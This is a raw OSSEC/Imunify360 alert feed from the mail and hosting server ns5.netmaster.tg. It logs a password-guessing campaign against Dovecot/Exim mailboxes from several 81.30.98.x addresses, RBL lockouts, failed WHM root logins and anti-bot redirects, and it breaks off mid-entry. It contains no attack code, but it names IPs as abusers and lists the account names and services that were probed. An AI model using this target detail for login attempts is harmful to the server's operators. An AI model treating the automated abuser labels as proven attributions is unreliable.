Jun 13 07:31:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:31:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:31:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33350: 535 Incorrect authentication data (set_id=ltc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:31:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:31:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:31:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19486: 535 Incorrect authentication data (set_id=zoom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:31:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40944: 535 Incorrect authentication data (set_id=bitrix@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:31:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19730: 535 Incorrect authentication data (set_id=spamassassin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:31:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3604: 535 Incorrect authentication data (set_id=albums@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:31:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37338: 535 Incorrect authentication data (set_id=spamassassin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:31:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48074: 535 Incorrect authentication data (set_id=test00test00@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:13886: 535 Incorrect authentication data (set_id=saar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:32:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:32:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11728: 535 Incorrect authentication data (set_id=sin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:32:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:7188: 535 Incorrect authentication data (set_id=pie@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:32:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39550: 535 Incorrect authentication data (set_id=asad@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:32:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43758: 535 Incorrect authentication data (set_id=stephanie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:32:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:32:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22684: 535 Incorrect authentication data (set_id=lcadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:32:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:33:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:33:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30610: 535 Incorrect authentication data (set_id=contracts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63336: 535 Incorrect authentication data (set_id=matsushima@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:33:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5220: 535 Incorrect authentication data (set_id=anny@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:07:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855064&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336026 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:33:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:33:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14442: 535 Incorrect authentication data (set_id=hardrock@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:33:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249047&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336020 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:33:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35580: 535 Incorrect authentication data (set_id=d@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:33:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51748: 535 Incorrect authentication data (set_id=hardrock@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:21412: 535 Incorrect authentication data (set_id=jackie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:34:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:34:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43536: 535 Incorrect authentication data (set_id=generator@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:34:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50092: 535 Incorrect authentication data (set_id=B'Trey@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:34:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59164: 535 Incorrect authentication data (set_id=br@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:34:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:34:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21708: 535 Incorrect authentication data (set_id=cs@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:34:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13374: 535 Incorrect authentication data (set_id=janus@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:34:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:34:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:34:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:34:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:55070: 535 Incorrect authentication data (set_id=danica@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:34:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:35:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41308: 535 Incorrect authentication data (set_id=helpdesk2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:35:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54868: 535 Incorrect authentication data (set_id=jeffery@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:35:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:35:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5388: 535 Incorrect authentication data (set_id=plazma@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:35:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [13/Jun/2026:07:35:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134489&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336143 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12468: 535 Incorrect authentication data (set_id=mira@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:35:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:35:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:35:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:35:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:35324: 535 Incorrect authentication data (set_id=cadastro@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10844: 535 Incorrect authentication data (set_id=family@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:35:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:35:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8018: 535 Incorrect authentication data (set_id=nsa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:36:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:3566: 535 Incorrect authentication data (set_id=forschung@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:36:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:36:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46584: 535 Incorrect authentication data (set_id=o@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:36:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62002: 535 Incorrect authentication data (set_id=bilder@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:36:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:36:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:36:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:36:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2094: 535 Incorrect authentication data (set_id=888@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:36:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:36:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26976: 535 Incorrect authentication data (set_id=sandeep@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:15 +0000] info [whostmgrd] 185.213.83.105 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID jwa8ke) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:36:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32830: 535 Incorrect authentication data (set_id=legacy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:36:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:37:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53918: 535 Incorrect authentication data (set_id=mijn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:37:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18632: 535 Incorrect authentication data (set_id=mechanik@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:37:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:37:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:37:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59218: 535 Incorrect authentication data (set_id=basil@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:37:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:37:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:28694: 535 Incorrect authentication data (set_id=spi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:37:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38258: 535 Incorrect authentication data (set_id=ms@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:18 +0000] info [whostmgrd] 185.213.83.105 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:37:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:21 +0000] info [whostmgrd] 185.213.83.105 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:37:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:37:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57898: 535 Incorrect authentication data (set_id=enable@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:37:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:37:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:24300: 535 Incorrect authentication data (set_id=jwkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:38:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15978: 535 Incorrect authentication data (set_id=facebook@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:38:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:38:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3152: 535 Incorrect authentication data (set_id=michaela@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:38:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49170: 535 Incorrect authentication data (set_id=anci@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:38:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:38:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:38:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:38:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:38:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:50686: 535 Incorrect authentication data (set_id=mailrelay@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:38:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:38:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:62766: 535 Incorrect authentication data (set_id=sharepoint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:38:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41756: 535 Incorrect authentication data (set_id=1983@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.122.127
